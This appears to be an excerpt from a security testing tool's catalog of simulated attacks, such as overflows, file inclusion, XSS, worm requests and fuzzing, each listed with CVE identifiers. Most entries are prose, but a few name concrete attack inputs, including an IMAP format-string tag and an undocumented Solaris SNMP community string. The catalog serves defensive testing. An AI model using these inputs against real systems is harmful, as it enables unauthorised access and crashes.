Threat File Name:	firefoxSidebar2.xml
Executive Description:	Firefox Sidebar Code Injection 2
Detailed Description:	This threat attempts to inject Javascript into the sidebar panel in the Firefox browser. This code executes with full access privileges, allowing the configuration of the browser to be changed, install new components, or change and execute files on the user's desktop. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0402
OSVDB:	15009
Threat Package:	Standard
Threat File Name:	filecopaftp_list_bof_IPv6.xml
Executive Description:	FileCOPA FTP Server <= 1.01 (LIST) Remote Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat exploits a flaw in FileCOPA FTP Server via the LIST command causing a denial of service condition in the affected server and possibly a buffer overflow condition to execute arbitrary commands on behalf a malicious user. FileCOPA FTP Server is an FTP application that typical listens on TCP port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-3726
OSVDB:	27389
Threat Package:	Standard
Threat File Name:	imap_format_command.xml
Executive Description:	IMAP Command Tag Format String Attack
Detailed Description:	This threat sends the format string attack characters %n%n%n%n as the command tag of properly formatted imap command. This can cause vulnerable IMAP daemons to crash due to improper input sanitization. This attack can also lead to remote code execution after the proper shellcode has been determined. IMAP daemons typically listen on port 143.
Protocol Type:	IMAP
Threat Package:	Standard
Threat File Name:	FSC20090629-05_HP_OpenView_Network_Node_Manager_rping_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager rping Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in HP Network Node Manager that could allow remote attackers to execute arbitrary code on a vulnerable system. The flaw is due to a boundary error when processing crafted packets sent to the server. Remote attackers could exploit this vulnerability by sending a HTTP request to the affected TCP port. In a sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on theintended function of the injected code. The injected code in such a case would execute within the security context of the service. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2009-1420
Threat Package:	Standard

Threat File Name:	TSL20151209-16_Schneider_Electric_ProClima_FlBookView_CopyRange_SwapTables_Memory_Corruption_IPv6.xml
Executive Description:	Schneider Electric ProClima FlBookView CopyRange SwapTables Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a flaw in the <code><CopyRange()></code> and <code><SwapTables()></code> methods of the <code><FlBookView></code> ActiveX control, in which a user-supplied integer is interpreted as a memory address. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2015-8561
Threat File Name:	long_hostname.xml
Executive Description:	HTTP GET Long Hostname
Detailed Description:	This threat sends a long hostname option with an HTTP GET request. Has caused certain web servers (mostly on embedded devices) to crash.
Protocol Type:	HTTP
CVEID:	CVE-2004-0740
OSVDB:	8141
Threat Package:	Standard
Threat File Name:	TSL20170116-01_Tarantool_xrow_header_decode_Out_of_Bounds_Read.xml
Executive Description:	Tarantool xrow_header_decode Out of Bounds Read
Detailed Description:	An OOB read vulnerability has been reported in the xrow_header_decode function of Tarantool. This vulnerability is due to incorrect handling of objects in memory when trying to determine the type of a key. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted packet to the vulnerable server. Successful exploitation results in denial of service conditions.
Protocol Type:	Tarantool Binary Protocol
CVEID:	CVE-2016-9037
Threat File Name:	FSC20071228-04_Adobe_Flash_Player_JPG_Embedded_SWF_Processing_Heap_Overflow.xml
Executive Description:	Adobe Flash Player JPG Embedded SWF Processing Heap Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way Adobe Flash Player processes SWF files embedding JPG images. The vulnerability is due to lack of input validation while parsing height and width fields in the JPG header. A remote attacker can exploit this vulnerability by enticing the target user to open malicious SWF files, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-6242
Threat Package:	Standard
Threat File Name:	eIQnetworks_nsa_nullptr_IPv6.xml
Executive Description:	eIQnetworks Network Security Analyzer Null Pointer Dereference Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a NULL pointer dereference in the DataCollector service in some versions of eIQnetworks Network Security Analyzer, which will result in a denial of service condition. eIQnetworks Network Security Analyzer eIQnetworks Network Security Analyzer DataCollector service typically listens on port 10618. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-0228
Threat Package:	Standard
Threat File Name:	phpmyteam_rfi_IPv6.xml
Executive Description:	phpMyTeam v2.0 <= (smileys_dir) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyTeam is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5207
Threat Package:	Standard
Threat File Name:	FSC20090115-06_Oracle_Secure_Backup_NDMP_CONNECT_CLIENT_AUTH_Command_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Secure Backup NDMP CONNECT_CLIENT_AUTH Command Buffer Overflow (IPv6 Version)
Detailed Description:	There is a buffer overflow vulnerability in Oracle Secure Backup. The flaw is due to insufficient boundary checking when processing NDMP requests sent to program obndmpd.exe. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with system level privileges. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process, with system level privileges. (IPv6 Version)
Protocol Type:	NDMP/IPv6
CVEID:	CVE-2008-5444
Threat Package:	Standard
Threat File Name:	FSC20041104-01_Cisco_Secure_ACS_EAP-TLS_Authentication_Bypass_Vulnerability_IPv6.xml
Executive Description:	Cisco Secure ACS EAP-TLS Authentication Bypass Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in the certificate validation mechanism of the Cisco Secure Access Control Server (ACS) when the authentication method used is EAP-TLS. In the authentication process, if ACS receives any correctly formed certificate with a valid username, it fails to further verify the certificate validity. Therefore, an attacker can use an invalid but cryptographically correct certificate to bypass the authentication mechanism. (IPv6 Version)
Protocol Type:	RADIUS/IPv6
CVEID:	CVE-2004-1099
Threat Package:	Standard
Threat File Name:	FSC20100908-07_Apple_Safari_Webkit_Use-After-Free_Code_Execution_IPv6.xml
Executive Description:	Apple Safari Webkit Use-After-Free Code Execution (IPv6 Version)

Detailed Description:	A code execution vulnerability exists in Apple Safari. The vulnerability is due to a use-after-free error when processing elements with run-in styling. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-1806
Threat Package:	Standard
Threat File Name:	TSL20120420-02_IBM_Rational_ClearQuest_CQ0le_ActiveX_Code_Execution_IPv6.xml
Executive Description:	IBM Rational ClearQuest CQ0le ActiveX Code Execution(IPv6 Version)
Detailed Description:	A security vulnerability has been reported in IBM's Rational ClearQuest CQ0le ActiveX control. The vulnerability is due to a function prototype mismatch in an API call provided by the control. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the target user's security context.
Protocol Type:	IPv6,HTTP,HTTP
CVEID:	CVE-2012-0708
OSVDB:	81443
Threat File Name:	indonesia_transveral_IPv6.xml
Executive Description:	eNdonesia 8.4 (mod.php/friend.php/admin.php) Directory Transversal Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted url string to read arbitrary files from an affected web server. eNdonesia is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060711-16_Microsoft_Excel_Malformed_OBJECT_Record_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed OBJECT Record Code Execution
Detailed Description:	There exists an arbitrary index pointer code execution vulnerability in Microsoft Excel. The flaw is caused by an insufficient check of a malformed OBJECT Record in an Excel file. An attacker can exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1306
Threat Package:	Standard
Threat File Name:	TSL20140813-05_Microsoft_Internet_Explorer_CVE-2014-4050_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-4050 Use After Free IPv6 Version
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. These vulnerability is due to an issue while handling first-letter element styling when processing HTML and script code.A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2014-4050
OSVDB:	109959
Threat File Name:	FSC20070911_Microsoft_Visual_Studio_Crystal_Reports_RPT_File_Handling_Code_Execution.xml
Executive Description:	Microsoft Visual Studio Crystal Reports RPT File Handling Code Execution
Detailed Description:	There exists a buffer overflow vulnerability in the way Business Objects Crystal Reports handles RPT files. The vulnerability is because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. An attacker may exploit this issue by enticing a victim user into opening a malicious RPT file, resulting in the execution of arbitrary code with privileges of the currently logged-in user. Failed exploit attempts will likely result in denial of service conditions.
Protocol Type:	HTTP
CVEID:	CVE-2006-6133
Threat Package:	Standard
Threat File Name:	sipshorttorturusinvite.xml
Executive Description:	SIPPING: A Short Torturus INVITE
Detailed Description:	This threat sends out a "short torturus INVITE" given in the SIPPING torture test IETF draft. This INVITE message is all sorts of nonstandard: it includes line folding, escaped characters, empty fields, unknown headers, parameters, and ordering, and many other strangely formed (but technically legal) message parts.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20170420-05_Mozilla_Firefox_http-index-format_File_Out-Of-Bounds_Read_IPv6.xml
Executive Description:	Mozilla Firefox http-index-format File Out-Of-Bounds Read (IPv6 Version)
Detailed Description:	An out-of-bounds read has been reported in Mozilla Firefox. The vulnerability is due to improper parsing of application/http-index-format format content which can result in a read past the end of an allocated object. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted webpage. Successful exploitation could result in disclosure of information which could be used to further compromise the target system.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5444
Threat File Name:	lupper29_IPv6.xml
Executive Description:	Lupper Worm 29 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard

Threat File Name:	quickdraw_pict_corruption.xml
Executive Description:	Apple QuickDraw GetSrcBits32ARGB() Memory Corruption Vulnerability
Detailed Description:	This threat simulates a client requesting a file, and the server replying with a maliciously constructed PICT file. This file will cause a memory corruption error in Apple QuickDraw, which is built in to Mac OS X. The transport of the PICT file is done via HTTP, which generally runs on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0462
Threat Package:	Standard
Threat File Name:	FSC20090504-03_IBM_Tivoli_Storage_Manager_Agent_Client_Generic_String_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager Agent Client Generic String Handling Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Storage Manager Agent Client. The vulnerability is due to a boundary error in a generic string handling function when parsing strings from request packets. This vulnerability can be exploited to cause stack-based buffer overflow. Successful exploitation allows execution of arbitrary code. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-4828
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_backSlash_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with \ (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with \ from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	DodosMail_rfi.xml
Executive Description:	DodosMail <= 2.0.1(dodosmail.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. DodosMail is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5841
Threat Package:	Standard
Threat File Name:	TSL20110614-35_Microsoft_Internet_Explorer_toStaticHTML_Cross-Site_Scripting.xml
Executive Description:	Microsoft Internet Explorer toStaticHTML Cross-Site Scripting
Detailed Description:	A cross site scripting vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the toStaticHTML method failing to properly remove dynamic HTML elements from specially crafted HTML fragments. A remote attacker can exploit this flaw by enticing the target to open a malicious URL link. Successful exploitation would result in execution of arbitrary script code in a user's browser session, in the context of the affected site. This could allow confidential user information such as authentication cookies to be disclosed. Note that this vulnerability is currently being exploited in the wild.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1252
Threat File Name:	FSC20080721-02_BEA_WebLogic_Server_Apache_Connector_HTTP_Version_String_Buffer_Overflow_IPv6.xml
Executive Description:	BEA WebLogic Server Apache Connector HTTP Version String Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a string buffer overflow vulnerability in BEA WebLogic Server Apache Connector. The vulnerability is due to a boundary error in the Apache connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable system with privileges of the running process, normally System. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3257
Threat Package:	Standard
Threat File Name:	TSL20120719-03_Apple_QuickTime_Plugin_SetLanguage_Buffer_Overflow.xml
Executive Description:	Apple QuickTime Plugin SetLanguage Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient bounds checking when parsing parameters to the IQTPluginControl::SetLanguage COM method inside the QuickTime plugin. This vulnerability can be exploited by a remote attacker by enticing the target user to open a specially crafted HTML page containing an embedded video with the affected application. Successful exploitation could result in arbitrary code injection and execution in the context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0666
OSVDB:	81937
Threat File Name:	TSL20150616-03_WebUI_mainfile_php_Arbitrary_Command_Injection_IPv6.xml
Executive Description:	WebUI mainfile.php Arbitrary Command Injection
Detailed Description:	An arbitrary command injection vulnerability exists in WebUI. The vulnerability is due to insufficient validation of multiple parameters in "mainfile.php"; when handling HTTP requests. A remote, authenticated attacker can exploit this vulnerability by sending maliciously crafted input to the affected server. This can result in arbitrary command execution with the privileges of the web server process.
Protocol Type:	HTTP/HTTPS
OSVDB:	121619
Threat File Name:	fuzz-SMTP-HELO_Parameter_pipe_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing

Threat File Name:	TSL20111005-01_Mozilla_Multiple_Products_Multiple_Location-Headers_IPv6.xml
Executive Description:	Mozilla Multiple Products Multiple Location Headers(IPv6 Version)
Detailed Description:	A vulnerability has been detected in Mozilla Firefox, Thunderbird and SeaMonkey. When multiple Location, Content-Type, Content-Length or Content-Disposition headers are present in an HTTP response, these Mozilla products use the last one, making them more susceptible to newline insertion attacks. An attacker may leverage this vulnerability in conjunction with a vulnerable web application to e.g. redirect target users to malicious URLs.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-3000
Threat File Name:	ms05-020HOSTNAME.xml
Executive Description:	MS05-020 IE Long Hostname Memory Corruption
Detailed Description:	This threat allows an attacker to possible control a single byte of memory through sending a overly long hostname through Internet Explorer. This is done by using a href link of over 256 characters long. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0554
OSVDB:	15464
Threat Package:	Standard
Threat File Name:	cpgnuke_dragonfly_IPv6.xml
Executive Description:	CPG Dragonfly CMS Remote Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat send multiple crafted URLs to exploit a remote command execution flaw through a remote file inclusion flaw. CPGNuke Dragonfly is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0644
OSVDB:	23058
Threat File Name:	FSC20060619-04_Nullsoft_Winamp_Midi_File_Header_Handling_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp Midi File Header Handling Buffer Overflow
Detailed Description:	A vulnerability exists in the MIDI file parsing component of Nullsoft Winamp. The vulnerability is caused by the improper handling of the header of a MIDI media file. A remote attacker can exploit this vulnerability by enticing the user to open a crafted MIDI file, thereby creating a denial of service condition or potentially injecting and executing arbitrary code on the target system.
Protocol Type:	HTTP
CVEID:	CVE-2006-3228
Threat Package:	Standard
Threat File Name:	FSC20081209-11_Microsoft_Internet_Explorer_HTML_Embed_Tag_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Internet Explorer HTML Embed Tag Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Internet Explorer. The flaw is due to a boundary error when handling overly long src attributes in an HTML embed tag. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious HTML document. Successful attack may allow for arbitrary code injection and execution with privileges of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the application would terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4261
Threat Package:	Standard
Threat File Name:	gom_player_activex_bof_IPv6.xml
Executive Description:	GOM Player 2.1.6.3499 GomWeb Control (GomWeb3.dll 1.0.0.12) remote buffer overflow vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the GOM Player GomWeb Control (GomWeb3.dll) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5779
Threat Package:	Standard
Threat File Name:	FSC20040930-01_Macromedia_JRun_4_mod_jrun_Buffer_Overflow_Vulnerability_IPv6.xml
Executive Description:	Macromedia JRun 4 mod_jrun Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	There is a vulnerability in the way Macromedia JRun mod_jrun writes log messages in verbose mode. Specific, overly long headers can cause a buffer overflow. A remote attacker could leverage this vulnerability to perform arbitrary code execution on the target system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0646
Threat Package:	Standard
Threat File Name:	FSC20090202-17_Oracle_Application_Server_Portal_Cross_Site_Scripting_IPv6.xml
Executive Description:	Oracle Application Server Portal Cross Site Scripting (IPv6 Version)
Detailed Description:	A cross-site scripting vulnerability exists in Oracle Application Server Portal. The flaw is due to lack of validation of the user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site. An attack targeting this vulnerability can result in the injection and execution of script code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20081209-12_Microsoft_Windows_GDI_WMF_File_HeaderSize_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows GDI WMF File HeaderSize Buffer Overflow IPv6 version.

Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Graphics Device Interface (GDI) library. The flaw is due to an integer overflow while handling WMF image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted WMF image file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, the affected application will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/IPV6
CVEID:	CVE-2008-2249
OSVDB:	MS08-071
Threat File Name:	ms05-038_cmp_fencepost.xml
Executive Description:	Internet Explorer JPEG Image Corruption cmp_fencepost.jpg
Detailed Description:	This threat causes a crash in Internet Explorer. It is unknown as of yet whether or not this crash is exploitable. It is caused by the downloading of a malformed JPEG image from a webserver. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1988
OSVDB:	18610
Threat Package:	Standard
Threat File Name:	4dwebstar_IPv6.xml
Executive Description:	4DWebSTAR Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the 4DWebSTAR Tomcat Plugin service. This service is part of a webserver, which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1507
OSVDB:	16154
Threat Package:	Standard
Threat File Name:	hrsTomcat2.xml
Executive Description:	HTTP Request Smuggling Poisoning 2
Detailed Description:	This threat attempts to poison the cache of a proxy server by sending two separate content length fields, one which gets parsed by the proxy server and one that gets parsed by Apache Tomcat. This threat will typically be targeted at port 80 or a proxy port.
Protocol Type:	HTTP
CVEID:	CVE-2005-2090
OSVDB:	17738
Threat Package:	Standard
Threat File Name:	sipltgturi.xml
Executive Description:	SIPPING: <> in Request-URI
Detailed Description:	This threat sends out a SIP INVITE message with the Request-URI enclosed in <>. This is not legal and because it is unexpected may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20160118-18_Advantech_WebAccess_Dashboard_uploadImageCommon_Arbitrary_File_Upload.xml
Executive Description:	Advantech WebAccess Dashboard uploadImageCommon Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability has been reported in the Dashboard component of Advantech WebAccess. The vulnerability is due to insufficient input validation within the uploadImageCommon() method in the UploadAjaxAction script. A remote, unauthenticated attacker could exploit this vulnerability by crafting a malicious file and uploading it onto the target system. Successful exploitation could allow the attacker to execute arbitrary code under context of the IIS AppPool.
Protocol Type:	HTTP
CVEID:	CVE-2016-0854
Threat File Name:	TSL20170413-03_Magento_Vimeo_Invalid_Image_Cross_Site_Request_Forgery_IPv6.xml
Executive Description:	Magento Vimeo Invalid Image Cross Site Request Forgery (IPv6 Version)
Detailed Description:	A cross-site request forgery vulnerability has been reported in Magento. The vulnerability is due to insufficient CSRF protections, that enables an attacker to upload arbitrary files (including PHP files) to a target server. A remote attacker can exploit this vulnerability by enticing a target authenticated user to visit a page. Successful exploitation could allow the attacker to execute arbitrary code with the privileges of Magento.
Protocol Type:	HTTP,HTTPS,IPv6
Threat File Name:	mambo_com_mmp_rfi_IPv6.xml
Executive Description:	Mambo Email Publisher Help.MMP.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the Email Publisher Help component which allows a malicious user to include commands in the context of the vulnerable web server. Mambo is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130312-06_Microsoft_Internet_Explorer_CMarkupBehaviorContext_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CMarkupBehaviorContext Use After Free
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a use-after-free error when processing script code calling the CMarkupBehaviorContext() method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0089
OSVDB:	91140
Threat File Name:	FSC20100401-05_Novell_ZENworks_Configuration_Management_Preboot_Service_Code_Execution.xml
Executive Description:	Novell ZENworks Configuration Management Preboot Service Code Execution

Detailed Description:	A buffer overflow vulnerability has been reported in Novell ZENworks Configuration Management. The flaw is due to an input validation error in the Preboot Service when processing messages sent to port TCP/998. Remote attackers can exploit this vulnerability to execute arbitrary code on the vulnerable system. In attack scenarios where code execution is successful the behaviour of the target machine is dependent on the intention of the malicious code. This code will run within the security context of the affected service, which is SYSTEM on Windows. In situations where code execution fails the affected service may terminate abnormally, leading to a denial of service condition.
Protocol Type:	Novell Preboot Service Protocol
Threat Package:	Standard
Threat File Name:	TSL20160119-33_Oracle_Application_Testing_Suite_ActionServlet_Authentication_Bypass.xml
Executive Description:	Oracle Application Testing Suite ActionServlet Authentication Bypass
Detailed Description:	An authentication bypass vulnerability has been reported in the Oracle Application Testing Suite. The vulnerability is due to insufficient input validation by the ActionServlet servlet when processing HTTP requests. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted HTTP request to the target server. Successful exploitation allows the attacker to bypass authentication requirements on the target.
Protocol Type:	HTTP
CVEID:	CVE-2016-0487
Threat File Name:	sonicwall_ssl-vpn_activex.xml
Executive Description:	SonicWall SSL-VPN NeLaunchCtrl ActiveX Control Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in SonicWall SSL-VPN ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5815
Threat Package:	Standard
Threat File Name:	TSL20130523-09_Apple_QuickTime_TeXML_textBox_Element_Memory_Corruption.xml
Executive Description:	Apple QuickTime TeXML textBox Element Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient validation of coordinate values in textBox and defaultTextBox in QuickTime TeXML files. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to process a maliciously crafted TeXML file. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-1015
OSVDB:	93615
Threat File Name:	TSL20141218-01_ActualScripts_ActualAnalyzer_Cookie_Command_Execution_IPv6.xml
Executive Description:	ActualScripts ActualAnalyzer Cookie Command Execution IPv6 version.
Detailed Description:	A command execution vulnerability exists in ActualAnalyzer. The vulnerability is due to insufficient input validation when handling cookie values. The cookie values can be passed to a PHP eval() function which can allow command execution. A remote unauthenticated attacker can exploit this vulnerability by sending an HTTP request with a crafted cookie value. Successful exploitation could result in command execution on the operating system from which the application is being run.
Protocol Type:	HTTP/HTTPS.IPV6
OSVDB:	110601
Threat File Name:	TSL20131125-06_ABB_Test_Signal_Viewer_CWGraph3D_ActiveX_Arbitrary_File_Creation_IPv6.xml
Executive Description:	ABB Test Signal Viewer CWGraph3D ActiveX Arbitrary File Creation(IPv6 Version)
Detailed Description:	An arbitrary file writing vulnerability exists in ABB Test Signal Viewer. The vulnerability is due to a directory traversal error in the exposed insecure method ExportStyle by the included CWGraph3D (cw3dgrph.ocx) ActiveX control. An attacker could exploit this vulnerability by enticing the target user to open a malicious web page or to view a malicious document. Successful exploitation would allow an attacker to create arbitrary files with attacker-controlled contents on the target machine.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-5022
OSVDB:	96160
Threat File Name:	TSL20150630-10_IBM_Tivoli_Storage_Manager_FastBack_Server_Opcode_1331_lza32_Command_Injection.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Server Opcode 1331 lza32 Command Injection
Detailed Description:	A command injection vulnerability exists in IBM Tivoli Storage Manager FastBack Server. The vulnerability is due to insufficient input validation of parameters in opcode 1331 requests. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 11460/TCP. Successful exploitation results in arbitrary command execution within the context of System. Tester should set variable \$destPort to 11460 before test.
Protocol Type:	TCP
CVEID:	CVE-2015-1938
Threat File Name:	TSL20140311-16_Microsoft_Internet_Explorer_CVE-2014-0305_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0305 Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0305
OSVDB:	104302
Threat File Name:	lupper1.xml
Executive Description:	Lupper Worm 1
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard

Threat File Name:	Prodder_cmi.xml
Executive Description:	Prodder Arbitrary Shell Command Execution Vulnerability
Detailed Description:	This threat exploits a failure in Prodder to properly sanitize user-supplied input allowing arbitrary command-execution vulnerability.
Protocol Type:	HTTP
OSVDB:	25690
Threat Package:	Standard
Threat File Name:	solaris_snmp_hidden_IPv6.xml
Executive Description:	Solaris Hidden Community String (IPv6 Version)
Detailed Description:	This threat sends out a SNMP request with a community string of 'all private'. This is an undocumented community string that allows access to the Solaris system. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-1999-0186
OSVDB:	11964
Threat Package:	Standard
Threat File Name:	xorg_crash.xml
Executive Description:	X.org Xrender Buffer Overflow
Detailed Description:	This threat causes a crash in the X.org server by sending a malicious render packet. X.org is a X11 server for linux that typically listens on port 6000.
Protocol Type:	X11
CVEID:	CVE-2006-1526
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatsToPOST_IPv6.xml
Executive Description:	Fuzz HTTP with POST appended by %s (IPv6 Version)
Detailed Description:	Fuzzes the Method field appending by %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	flashchat_rfi_IPv6.xml
